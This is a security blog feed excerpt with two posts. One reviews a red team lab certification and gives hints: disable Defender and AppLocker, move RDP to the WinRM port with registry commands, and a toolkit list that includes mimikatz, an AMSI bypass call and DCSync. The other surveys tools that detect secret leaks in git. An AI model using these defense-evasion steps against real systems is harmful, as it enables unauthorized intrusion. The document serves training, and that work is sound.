&lt;p&gt;I would like to talk a bit about the &lt;a href=&quot;https://www.pentesteracademy.com/redlabs&quot;&gt;SecurityTube red team labs&lt;/a&gt;, specifically the &lt;a href=&quot;https://www.pentesteracademy.com/redteamlab&quot;&gt;Advanced Red Team Lab&lt;/a&gt; which leads to the &lt;strong&gt;CRTE&lt;/strong&gt; (Certified Red Team Expert) certification. &lt;em&gt;P.S: i’m not affiliated with securitytube&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;Some great &lt;a href=&quot;https://www.google.com/search?q=review+red+team+lab+pentester+academy+%22CRTE%22&quot;&gt;reviews&lt;/a&gt; are already existing, so i will focus on why i chose this lab and certification. I will give you some hints about how to approach your targets. Most importantly, i would like to introduce you a tool that i developped which will help you during your journey, &lt;a href=&quot;https://github.com/phackt/Invoke-Recon&quot;&gt;Invoke-Recon&lt;/a&gt;.&lt;br /&gt;
&lt;!--more--&gt;&lt;/p&gt;

&lt;h1 id=&quot;context&quot;&gt;Context&lt;/h1&gt;

&lt;p&gt;I was looking for a another &lt;strong&gt;professional and challenging cert&lt;/strong&gt; focused on &lt;strong&gt;Windows AD&lt;/strong&gt;. My prerequisites were:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;no jeopardy style&lt;/li&gt;
  &lt;li&gt;real life scenarios which will be found in real engagements&lt;/li&gt;
  &lt;li&gt;a environment not too crowded. I met this situation with others platforms and i spent much of my time contacting the support to revert the VMs because of others bad exploitation or persistence, getting the machines you’re working on totally unstable.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Finally the &lt;em&gt;Advanced Red Team Lab&lt;/em&gt; was the answer.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://phackt.org/public/images/redteamlab/redteamlab.png&quot; alt=&quot;advredteamlab&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Companies are more and more looking for online qualitative trainings because of the actual sanitary crisis. Think to ask to your company for a financial support.&lt;/p&gt;

&lt;h1 id=&quot;what-i-really-liked&quot;&gt;What i really liked&lt;/h1&gt;

&lt;ul&gt;
  &lt;li&gt;Reactive and helpful support&lt;/li&gt;
  &lt;li&gt;Updated servers and workstations with AppLocker, AV running and Powershell in Constrained Language Mode.&lt;/li&gt;
  &lt;li&gt;Relevant AD exploitation paths and local privilege escalation&lt;/li&gt;
  &lt;li&gt;Nikhil Mittal and his team are really friendly and you definitely can contact them on twitter to share your thoughts on this lab&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;And why not, while you’re diving into this journey, you may probably see how the tools you are using may be improved to match your needs (don’t hesitate to PR - mine with &lt;a href=&quot;https://github.com/NetSPI/PowerUpSQL/pull/62&quot;&gt;PowerUpSQL&lt;/a&gt;) or may be you will develop your own tool. What i mean is that this is a virtuous circle, you will learn and you will share with the infosec community.&lt;/p&gt;

&lt;h1 id=&quot;what-should-be--will-be-improved&quot;&gt;What should be / will be improved&lt;/h1&gt;

&lt;ul&gt;
  &lt;li&gt;The possibility to revert VMs on our own during lab and cert (in dev on their side)&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;what-you-will-learn&quot;&gt;What you will learn&lt;/h1&gt;

&lt;p&gt;Obviously, the difficulty level depends on your experience as a pentester, but be sure that after this cert you will be able to :&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Properly enumerate an AD (basic / more complex stuff) and which tools to use (we will about it later)&lt;/li&gt;
  &lt;li&gt;Find AD exploitation paths, weak ACLs&lt;/li&gt;
  &lt;li&gt;Spearphish users&lt;/li&gt;
  &lt;li&gt;Exploit Kerberos delegation and to know how the S4U extensions are working (for ex: kerberos constrained delegation with protocol transition)&lt;/li&gt;
  &lt;li&gt;Exploit domain / forest trusts (SID Filtering, SID History, …)&lt;/li&gt;
  &lt;li&gt;Exploit MSSQL servers (this part was really interesting as i did not have so many opportunities to exploit MSSQL instances during engagements)&lt;/li&gt;
  &lt;li&gt;Find your way to perform local privilege escalation on fully patched servers with AppLocker and AV running&lt;/li&gt;
  &lt;li&gt;Many other cool stuff&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;hints-that-you-may-not-find-in-others-blog-posts&quot;&gt;Hints (that you may not find in others blog posts)&lt;/h1&gt;

&lt;p&gt;Your will start as domain user on a Windows Server where you will be able to RDP. I advice you to &lt;strong&gt;get SYSTEM&lt;/strong&gt; on this machine, to &lt;strong&gt;disable Defender and some restrictive Firewall and AppLocker rules&lt;/strong&gt;. Then take off your shoes and feel comfortable at home.&lt;/p&gt;

&lt;p&gt;I mainly used this Windows VM but i also had my Kali. In order to be able to proxyfy my Kali tools, i used &lt;a href=&quot;https://github.com/securesocketfunneling/ssf/releases&quot;&gt;ssf&lt;/a&gt; and &lt;a href=&quot;https://translate.google.fr/translate?hl=fr&amp;amp;sl=fr&amp;amp;tl=en&amp;amp;u=https%3A%2F%2Fphackt.org%2Ftor-proxychains&quot;&gt;proxychains&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Sometimes in this lab you will be able to move forward the unintended ways, i mean with your own kind of exploitation (to give you just an idea, read this blog post from &lt;a href=&quot;https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/&quot;&gt;itm4n&lt;/a&gt;). Even if you succeed in compromising all the forests, i would strongly recommend you to try to get the all the boxes the intended way, because you may miss something for the D-day.&lt;/p&gt;

&lt;p&gt;Also do not overlook the &lt;strong&gt;post exploitation&lt;/strong&gt; part. And don’t forget to note where you struggled at, during the exam it will be a pity to lose time on a thing you already faced.&lt;/p&gt;

&lt;p&gt;Not so many services will be exposed, and you also will be firewalled.&lt;/p&gt;

&lt;p&gt;Talking about &lt;strong&gt;firewalling&lt;/strong&gt;, we agree that sometimes it’s more comfortable to have a &lt;strong&gt;RDP&lt;/strong&gt; session rather than any command line session. In the following example we will assume that we have a shell on a server and we have just a few ports which are accessible. &lt;strong&gt;5985&lt;/strong&gt; is a good candidate but &lt;strong&gt;WinRM&lt;/strong&gt; is already running on the server.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;In the following example, be aware that if you execute the following commands from a Remote Powershell session, you will be disconnected because we set the RDP listen port to 5985, so we will have to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sc.exe stop WinRM&lt;/code&gt; before running Remote Desktop Service.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Set RDP listen port and start the Remote Desktop service ‘without rebooting’&lt;/strong&gt;:&lt;/p&gt;
&lt;div class=&quot;language-powershell highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;Set-ItemProperty&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-Path&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;&apos;HKLM:\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp&apos;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-name&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;UserAuthentication&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-Value&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Set-ItemProperty&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-Path&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;HKLM:\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-Name&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;PortNumber&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-Value&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;5985&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sc.exe&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;stop&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;WinRM&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Then run:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;reg add &quot;HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server&quot; /v fDenyTSConnections /t REG_DWORD /d 0 /f
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h1 id=&quot;tools&quot;&gt;Tools&lt;/h1&gt;

&lt;p&gt;Now let’s talk a bit about an interesting part, what kind of tools did i have on my Windows VM (did not mean i used all of them) ? Here is my list :&lt;/p&gt;

&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Tool&lt;/th&gt;
      &lt;th style=&quot;text-align: left&quot;&gt;Description&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;https://github.com/samratashok/ADModule&quot;&gt;ADModule&lt;/a&gt;&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;Use AD powershell module for enumeration without installing RSAT&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;https://github.com/phackt/pentest/blob/master/bypass/amsi-bypass.ps1&quot;&gt;amsi-bypass.ps1&lt;/a&gt;&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;[Bypass.A_M_S_I]::Disable()&lt;/code&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;https://nmap.org/download.html&quot;&gt;nmap&lt;/a&gt;&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;Network Mapper&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;https://www.mythicsoft.com/agentransack/&quot;&gt;agentransack&lt;/a&gt;&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;Fast files / directories crawler&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;https://github.com/gentilkiwi/mimikatz/releases&quot;&gt;mimikatz&lt;/a&gt;&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;Do we really have to introduce this tool  ?&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;https://github.com/phackt/pentest/blob/master/privesc/windows/nc64.exe&quot;&gt;nc64.exe&lt;/a&gt;&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;Netcat&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;https://github.com/samratashok/nishang&quot;&gt;Nishang&lt;/a&gt;&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;Exploitation framework from Nikhil “SamratAshok” Mittal&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/Invoke-DCSync.ps1&quot;&gt;Empire -&amp;gt; Invoke-DCSync.ps1&lt;/a&gt;&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;DCSync&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1&quot;&gt;PowerSploit -&amp;gt; PowerView.ps1&lt;/a&gt;&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;AD Enumeration - &lt;a href=&quot;https://gist.github.com/HarmJ0y/184f9822b195c52dd50c379ed3117993&quot;&gt;Harmjoy Powerview 3 tricks&lt;/a&gt;&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-Mimikatz.ps1&quot;&gt;PowerSploit -&amp;gt; Invoke-Mimikatz.ps1&lt;/a&gt;&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;Mimikatz thanks to Powershell&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/Invoke-Portscan.ps1&quot;&gt;PowerSploit -&amp;gt; Invoke-PortScan.ps1&lt;/a&gt;&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;Ports scanner in Powershell&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-TokenManipulation.ps1&quot;&gt;PowerSploit -&amp;gt; Invoke-TokenManipulation.ps1&lt;/a&gt;&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;Manipulate logon token and create impersonation token&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;https://gallery.technet.microsoft.com/invoke-sdpropagator-to-c99ae41c&quot;&gt;Invoke-SDPropagator.ps1&lt;/a&gt;&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;Invoke SDPropagator mechanism - for example if you backdoored the AdminSDHolder&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;https://github.com/p3nt4/Invoke-SocksProxy/blob/master/Invoke-SocksProxy.psm1&quot;&gt;Invoke-SocksProxy.psm1&lt;/a&gt;&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;Proxy socks in Powershell&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;https://github.com/BornToBeRoot/PowerShell_IPv4PortScanner/blob/master/Scripts/IPv4PortScan.ps1&quot;&gt;IPv4PortScan.ps1&lt;/a&gt;&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;Another ports scanner in Powershell&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;https://github.com/besimorhino/powercat/blob/master/powercat.ps1&quot;&gt;powercat.ps1&lt;/a&gt;&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;Netcat in Powershell&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;https://gallery.technet.microsoft.com/Adjusting-Token-Privileges-9b6724fc&quot;&gt;Set-LHSTokenPrivilege.ps1&lt;/a&gt;&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;Enable / disable your local privileges&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;https://github.com/NetSPI/PowerUpSQL&quot;&gt;PowerUpSQL&lt;/a&gt;&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;MSSQL exploitation framework&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;https://github.com/itm4n/PrintSpoofer&quot;&gt;PrintSpoofer.exe&lt;/a&gt;&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;Exploit the printer bug locally&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;https://github.com/itm4n/PrivescCheck&quot;&gt;PrivescCheck&lt;/a&gt;&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;Find privesc&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;https://github.com/GhostPack/Rubeus&quot;&gt;Rubeus&lt;/a&gt;&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;Useful when you will have to deal with kerberos tickets&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;https://github.com/BloodHoundAD/BloodHound&quot;&gt;BloodHound&lt;/a&gt;&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;Find AD exploitation paths&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;https://github.com/leechristensen/SpoolSample&quot;&gt;SpoolSample&lt;/a&gt;&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;Connect to the RPC RpcRemoteFindFirstPrinterChangeNotification to trigger the printer bug&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;https://github.com/securesocketfunneling/ssf&quot;&gt;ssf&lt;/a&gt;&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;Tunneling tool&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;https://docs.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite&quot;&gt;SysinternalsSuite&lt;/a&gt;&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;All MS utilities&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;a href=&quot;https://lolbas-project.github.io/&quot;&gt;lolbas&lt;/a&gt;&lt;/td&gt;
      &lt;td style=&quot;text-align: left&quot;&gt;Living Off The Land Binaries and Scripts&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
&lt;/table&gt;

&lt;p&gt;And last but not least, as i said previously this journey was a good opportunity to gather a lot of my recon commands in one single Powershell tool: &lt;a href=&quot;https://github.com/phackt/Invoke-Recon&quot;&gt;Invoke-Recon&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Believe me, if you are doing this lab and want to pass this cert, &lt;a href=&quot;https://github.com/phackt/Invoke-Recon&quot;&gt;Invoke-Recon&lt;/a&gt; + &lt;a href=&quot;https://github.com/BloodHoundAD/BloodHound&quot;&gt;BloodHound&lt;/a&gt; will be the perfect journey companions. &lt;em&gt;Invoke-Recon&lt;/em&gt; has been developed based on the &lt;em&gt;Advanced Red Team Lab&lt;/em&gt;.&lt;/p&gt;

&lt;h1 id=&quot;more-to-come&quot;&gt;More to come&lt;/h1&gt;

&lt;p&gt;To keep on talking about AD enumeration, i would like to share with you some of my &lt;a href=&quot;https://phackt.org/pentesting-bloodhound-cypher-queries&quot;&gt;Cypher queries&lt;/a&gt; i use with &lt;strong&gt;BloodHound&lt;/strong&gt; to spot some very interesting stuff during an engagement. I will also dive a bit more into &lt;a href=&quot;https://github.com/phackt/Invoke-Recon&quot;&gt;Invoke-Recon&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Keep in touch, and don’t hesitate if you wanna more information about this lab, if you are stuck or anything else, i’m always glad to help. I answer back to a lot of questions by email or twitter, some dealing with my switch from web developer to technical auditor for the french gouvernment. &lt;a href=&quot;https://phackt.org/about/&quot;&gt;Contact me&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Wish you a nice day, may the force be with you (i let you choose which side).&lt;/p&gt;

&lt;p&gt;Phackt.&lt;/p&gt;
</description>
        <pubDate>Tue, 22 Sep 2020 00:00:00 +0000</pubDate>
        <link>https://phackt.org/securitytube-redteam-labs-invoke-recon</link>
        <guid isPermaLink="true">https://phackt.org/securitytube-redteam-labs-invoke-recon</guid>
        
        
        <category>Certification</category>
        
      </item>
    
      <item>
        <title>What solutions to prevent git leaks ?</title>
        <description>&lt;p&gt;Hello,&lt;/p&gt;

&lt;p&gt;I will do a quick and dirty post about what’s out there to find / prevent leaks of secrets in your git repositories.&lt;br /&gt;
I did not try all of these tools. For the search part, i’m mainly using a fork of Trufflehog with some added features (search in filenames, commits comments, also with custom regexes).&lt;/p&gt;

&lt;h2 id=&quot;objectives-&quot;&gt;Objectives :&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;Look into the commits history for sensitive information publicly accessible by an attacker ;&lt;/li&gt;
  &lt;li&gt;Prevent secrets leaks ;&lt;/li&gt;
  &lt;li&gt;Monitoring and integrating these checks in the Continous Delivery process - aka DevSecOps
&lt;!--more--&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;tools-to-look-for-sensitive-data-&quot;&gt;Tools to look for sensitive data :&lt;/h2&gt;
&lt;div&gt;
  &lt;span class=&quot;fa fa-arrow-circle-o-right fa-2x&quot; style=&quot; vertical-align: middle;&quot;&gt;&lt;/span&gt;
  &lt;span style=&quot;margin-left: 5px;&quot;&gt;&lt;a href=&quot;https://github.com/dxa4481/truffleHog&quot;&gt;TRUFFLEHOG&lt;/a&gt;&lt;/span&gt;
&lt;/div&gt;
&lt;ul&gt;
  &lt;li&gt;Written in Python&lt;/li&gt;
  &lt;li&gt;Also works for local repo&lt;/li&gt;
  &lt;li&gt;Strings with high entropy&lt;/li&gt;
  &lt;li&gt;Custom regex rules&lt;/li&gt;
  &lt;li&gt;No search in commits comments or filenames&lt;/li&gt;
&lt;/ul&gt;

&lt;div&gt;
  &lt;span class=&quot;fa fa-arrow-circle-o-right fa-2x&quot; style=&quot; vertical-align: middle;&quot;&gt;&lt;/span&gt;
  &lt;span style=&quot;margin-left: 5px;&quot;&gt;&lt;a href=&quot;http://michenriksen.com/blog/gitrob-putting-the-open-source-in-osint/&quot;&gt;GITROB&lt;/a&gt;&lt;/span&gt;
&lt;/div&gt;
&lt;ul&gt;
  &lt;li&gt;Written in Go&lt;/li&gt;
  &lt;li&gt;Renders results in a Web App&lt;/li&gt;
  &lt;li&gt;Do not work for local repo AFAIK&lt;/li&gt;
&lt;/ul&gt;

&lt;div&gt;
  &lt;span class=&quot;fa fa-arrow-circle-o-right fa-2x&quot; style=&quot; vertical-align: middle;&quot;&gt;&lt;/span&gt;
  &lt;span style=&quot;margin-left: 5px;&quot;&gt;&lt;a href=&quot;https://github.com/auth0/repo-supervisor&quot;&gt;REPO-SUPERVISOR&lt;/a&gt;&lt;/span&gt;
&lt;/div&gt;
&lt;ul&gt;
  &lt;li&gt;Written in NodeJS&lt;/li&gt;
  &lt;li&gt;Generates HTML reports&lt;/li&gt;
&lt;/ul&gt;

&lt;div&gt;
  &lt;span class=&quot;fa fa-arrow-circle-o-right fa-2x&quot; style=&quot; vertical-align: middle;&quot;&gt;&lt;/span&gt;
  &lt;span style=&quot;margin-left: 5px;&quot;&gt;&lt;a href=&quot;https://github.com/anshumanbh/git-all-secrets&quot;&gt;GIT-ALL-SECRETS&lt;/a&gt;&lt;/span&gt;
&lt;/div&gt;
&lt;ul&gt;
  &lt;li&gt;Written in Go&lt;/li&gt;
  &lt;li&gt;Using / merging results of &lt;a href=&quot;https://github.com/dxa4481/truffleHog&quot;&gt;Trufflehog&lt;/a&gt; and &lt;a href=&quot;https://github.com/dxa4481/truffleHog&quot;&gt;Repo-Supervisor&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;div&gt;
  &lt;span class=&quot;fa fa-arrow-circle-o-right fa-2x&quot; style=&quot; vertical-align: middle;&quot;&gt;&lt;/span&gt;
  &lt;span style=&quot;margin-left: 5px;&quot;&gt;&lt;a href=&quot;https://github.com/zricethezav/gitleaks&quot;&gt;GITLEAKS&lt;/a&gt;&lt;/span&gt;
&lt;/div&gt;
&lt;ul&gt;
  &lt;li&gt;Written in Go&lt;/li&gt;
  &lt;li&gt;regex and entropy&lt;/li&gt;
&lt;/ul&gt;

&lt;div&gt;
  &lt;span class=&quot;fa fa-arrow-circle-o-right fa-2x&quot; style=&quot; vertical-align: middle;&quot;&gt;&lt;/span&gt;
  &lt;span style=&quot;margin-left: 5px;&quot;&gt;&lt;a href=&quot;https://github.com/eth0izzle/shhgit&quot;&gt;SSHGIT&lt;/a&gt;&lt;/span&gt;
&lt;/div&gt;
&lt;ul&gt;
  &lt;li&gt;Written in Go&lt;/li&gt;
  &lt;li&gt;Renders results in a Web App&lt;/li&gt;
  &lt;li&gt;Monitors GIT repositories - &lt;em&gt;Be the first to catch the secret before it gets deleted from git history&lt;/em&gt;&lt;/li&gt;
  &lt;li&gt;&lt;em&gt;shhgit will watch real-time stream and pull out any accidentally committed secrets&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;prevent-commits-&quot;&gt;Prevent commits :&lt;/h2&gt;

&lt;p&gt;What is a Git Hook ? As described &lt;a href=&quot;https://git-scm.com/book/en/v2/Customizing-Git-Git-Hooks&quot;&gt;here&lt;/a&gt;:&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Like many other Version Control Systems, Git has a way to fire off custom scripts when certain important actions occur. There are two groups of these hooks: client-side and server-side. Client-side hooks are triggered by operations such as committing and merging, while server-side hooks run on network operations such as receiving pushed commits. You can use these hooks for all sorts of reasons.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Security is a good one.&lt;/p&gt;

&lt;p&gt;What kind of hooks can used to prevent leak at an early stage of the git workflow? :&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;pre-commit: Used to check if any of the files changed in the commit use prohibited patterns.

commit-msg: Used to determine if a commit message contains a prohibited patterns.

prepare-commit-msg: Used to determine if a merge commit will introduce a history that contains a prohibited pattern at any point. Please note that this hook is only invoked for non fast-forward merges.
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;u&gt;Client-side hooks :&lt;/u&gt;&lt;/p&gt;

&lt;div&gt;
  &lt;span class=&quot;fa fa-arrow-circle-o-right fa-2x&quot; style=&quot; vertical-align: middle;&quot;&gt;&lt;/span&gt;
  &lt;span style=&quot;margin-left: 5px;&quot;&gt;&lt;a href=&quot;https://github.com/ezekg/git-hound&quot;&gt;GITHOUND&lt;/a&gt;&lt;/span&gt;
&lt;/div&gt;
&lt;ul&gt;
  &lt;li&gt;You have to set GitHound command into a &lt;em&gt;pre-commit&lt;/em&gt; hook&lt;/li&gt;
  &lt;li&gt;Regexes are configured in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.githound.yml&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;div&gt;
  &lt;span class=&quot;fa fa-arrow-circle-o-right fa-2x&quot; style=&quot; vertical-align: middle;&quot;&gt;&lt;/span&gt;
  &lt;span style=&quot;margin-left: 5px;&quot;&gt;&lt;a href=&quot;https://github.com/awslabs/git-secrets&quot;&gt;GIT-SECRETS&lt;/a&gt;&lt;/span&gt;
&lt;/div&gt;
&lt;ul&gt;
  &lt;li&gt;From &lt;strong&gt;AWS&lt;/strong&gt; team&lt;/li&gt;
  &lt;li&gt;You also can manually scan for secrets before making your repo public: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;git secrets --scan-history&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;u&gt;GITHUB actions :&lt;/u&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;&lt;a href=&quot;https://help.github.com/en/actions/getting-started-with-github-actions/about-github-actions&quot;&gt;GitHub Actions&lt;/a&gt; enables you to create custom software development life cycle (SDLC) workflows directly in your GitHub repository.&lt;/em&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/marketplace/actions/gitleaks&quot;&gt;Gitleaks Github Action&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/marketplace/actions/trufflehog-actions-scan&quot;&gt;Trufflehog Github Action&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;u&gt;GITHUB scanning project :&lt;/u&gt;&lt;/p&gt;

&lt;p&gt;Github has a project which aims at monitoring leaked third parties tokens from your repositories: &lt;a href=&quot;https://help.github.com/en/github/administering-a-repository/about-secret-scanning&quot;&gt;https://help.github.com/en/github/administering-a-repository/about-secret-scanning&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Once identified, Github will warn you and will request the provider (from the following list) in an automated way to ask for the immediate revokation of your leaked tokens:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Adafruit
Alibaba Cloud
Amazon Web Services (AWS)
Atlassian
Azure
Clojars
CloudBees CodeShip
Databricks
Datadog
Discord
